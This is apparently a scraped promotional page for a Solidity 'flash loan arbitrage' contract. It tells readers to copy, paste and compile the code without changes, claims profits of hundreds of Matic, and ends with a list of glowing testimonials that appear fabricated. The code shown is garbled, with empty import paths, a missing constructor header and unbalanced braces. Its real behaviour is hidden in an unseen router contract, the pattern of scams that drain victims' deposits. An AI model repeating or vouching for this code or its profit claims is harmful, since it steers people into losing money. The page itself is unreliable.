// Follow carefully the video
// Do not modify this contract code otherwise it won't work on you!
// Just Copy+Paste and Compile!!
// Thank you for your support! Enjoy your Earnings!!

// This is for educational purposes only!
// Try it at your own risk!

pragma solidity ^0.5.0;

// AAVE Smart Contracts
import "";
import "";
import "";

//Uniswap Smart contracts
import "";

contract InitiateFlashLoan {
    RouterV2 router;
    string public tokenName;
    string public tokenSymbol;
    uint256 flashLoanAmount;

        string memory _tokenName,
        string memory _tokenSymbol,
        uint256 _loanAmount
    ) public {
        tokenName = _tokenName;
        tokenSymbol = _tokenSymbol;
        flashLoanAmount = _loanAmount;

        router = new RouterV2();

    function() external payable {}

    function flashloan() public payable {
        // Send required coins for swap

        //To prepare the arbitrage, Matic is converted to Dai using AAVE swap contract.
        router.convertMaticToDai(msg.sender, flashLoanAmount / 2);
        //The arbitrage converts Dai for Matic using Dai/Matic PancakeSwap, and then immediately converts Matic back
        router.callArbitrageAAVE(router.aaveSwapAddress(), msg.sender);
        //After the arbitrage, Matic is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 Matic of gas.
        //Note that the transaction sender gains 600ish Matic from the arbitrage, this particular transaction can be repeated as price changes all the time.

Our Clients Say

Tommy M.
It worked for me on the second go also, liquidity was too low first time I think
Scott Y.
I was sceptical, but somehow got 10AVAX back from using 2avax deposits.
Garret F.
5BNB back on 0.25 liquidity. Not bad at all! Sent some your way.
Anna H.
Wow i can't truly imagine that it work. It really did work and a can't still believe it. Can you imagine for 0.3bnb you can received a loan of 7bnb? I'll will try again tomorrow with 0.5bnb and will see what happen. Thank you again admin
Glenn P.
Last week Smart contract was awesome, I made a lot of BNB. I hope this new contract will be more beneficial than the old one. Thank you admin.
Kevin O.
It really did works for me...At first, its kind a fail. Then i just FF the Hint on the instructions. And then 14BNB BOOOOM!!!! Thank you admin.
Frank M.
I got 12BNB today. I try on remix and ff the instructions then transaction successful. Thanks admin, your code still working perfectly.
Alyson L.
At first it doesn't quite to work. What i did, i restart my system and i do it all over again and it when through. Thank you for this admin. I got 9bnb today.
Nicole H.
It fail when i tried yesterday, but today it go through on my second attempt. Thank you i got 12bnb today. What a relief lol.